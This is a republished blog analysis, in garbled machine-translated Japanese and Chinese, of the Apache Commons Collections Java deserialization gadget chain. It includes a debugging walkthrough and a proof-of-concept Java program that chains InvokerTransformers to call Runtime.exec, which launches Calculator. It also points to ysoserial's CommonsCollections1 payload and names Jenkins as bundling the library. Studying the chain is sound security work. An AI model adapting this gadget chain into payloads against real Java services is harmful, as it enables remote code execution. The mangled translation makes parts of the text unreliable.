Apacheのコモンズコレクションは、デシリアライズの原理を理解して

Apacheのコモンズコレクションデシリアライゼーションの原理

:再排出ギャングスターこの記事では、非常に詳細に書かれたこの原則に書かれた
のLibのオーバー?Javaの直列化復元の脆弱性分析普遍的な使用

これは、2つの主要なカテゴリが含まれます。

  • MAP-> TransformedMap
  • トランスフォーマ> InvokerTransformer、ConstantTransformer、ChainedTransformer

Apacheのコモンズコレクション背景知識(原則として任意のコードの実行)

公式の説明によると:

コモンズ・コレクションは、新しいインターフェイス、実装とユーティリティを提供することにより、JDKクラス上に構築しようとしています。

コモンズ・コレクションは、JDKへの新しいインターフェースはコレクションクラスが付属して提供実装し、機能するように設計されています。
参考ます。https://commons.apache.org/proper/commons-collections/

地図珍しい:TransformedMap

完全修飾名は次のようになります。org.apache.commons.collections.map.TransformedMap

JDKの話スタートは地図が付属しています。マップのキーと値のペアデータ構造に格納されている(JDK java.util.Map独自インタフェース、共通のjava.util.HashMap実装クラスです)。それに応じて、Apacheのコモンズコレクションを実現TransformedMap(「マップの変換後」文字通り具体的には、によってdecorate方法)。

このクラスを実装マップ(間接的に継承を通じて)とシリアライズ。
ここに画像を挿入説明

変換キーインタフェースの地図:トランス

完全修飾名:org.apache.commons.collections.Transformer

看一下Transformer这个接口源代码里的注释:
ここに画像を挿入説明
它只需要被实现一个接口:

public Object transform(Object input);

接收一个对象input,然后通过transform方法将其转换成另外一个对象,然后返回,之前的对象保持不变。

特殊的InvokerTransformer

全限定名:org.apache.commons.collections.functors.InvokerTransformer
Apache Commons Collections中有一些已经实现的Transformer类,其中有一个比较特殊的,叫做InvokerTransformer,它的特殊在于可以 执行传参中指定的任意类的任意方法!

public class InvokerTransformer implements Transformer, Serializable {
...

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

ここに画像を挿入説明

前面做了大量准备,就是在等这一步漏洞触发。跟进这最后一步调试看看。
看一下这个poc里如何最后一步通过Map.Entry#setValue,调用transform方法的:

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");

->
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator#setValue
ここに画像を挿入説明
->

org/apache/commons/collections/map/TransformedMap#checkSetValue
ここに画像を挿入説明
->
org/apache/commons/collections/functors/ChainedTransformer#transform
对之前传入的每个Transformer都调用transform方法:
ここに画像を挿入説明
一个一个看,ConstantTransformer直接返回Runtime类:
ここに画像を挿入説明
注意到这个ChainTransformer比较特殊,其成员Transformer转换完之后返回的Object会交给下一个Transformer继续转换:
比如最开始是从ConstantTransformer返回的Runtime类对象,
ここに画像を挿入説明
进入org/apache/commons/collections/functors/InvokerTransformer#transform
看看,
ここに画像を挿入説明

经过第一个InvokerTransformer转换完成之后得到的Object是java.lang.Runtime.getRuntime()这个Method对象。
ここに画像を挿入説明
第二个InvokerTransformer调用这个对象的invoke方法,得到一个java.lang.Runtime对象。
ここに画像を挿入説明
最后一步演示:
ここに画像を挿入説明

总结

1、ConstantTransformer:
=> Runtime class对象;
2、第一个InvokerTransformer:
Runtime class对象(调用getMethod)
=> java.lang.Runtime.getRuntime()这个Method对象
3、第二个InvokerTransformer:
java.lang.Runtime.getRuntime()这个Method对象(调用invoke)
=> java.lang.Runtime对象
4、第三个InvokerTransformer:
java.lang.Runtime对象(调用exec,传入参数Calculator)
=> 实现命令执行

阅读ysoserial源码,发现主要是CommonsCollections1这个payload的代码:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
ここに画像を挿入説明

漏洞调试

在IDEA里新建一个项目,把commons-collections作为lib加进去,直接调试。

PoC

来自redrain博客。

package com.cqq;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Main {

    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

注意,由于我们只需要对value进行操作,所以这里:

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

在本该传key transformer的地方只传了null,因为我们没有对key进行转换。

看了一下Jenkins的lib,果然有commons-collection3这个包:
ここに画像を挿入説明

参考

公開された592元の記事 ・が 97個のように勝っ ビュー970 000 +

おすすめ

転載: blog.csdn.net/caiqiiqi/article/details/104393802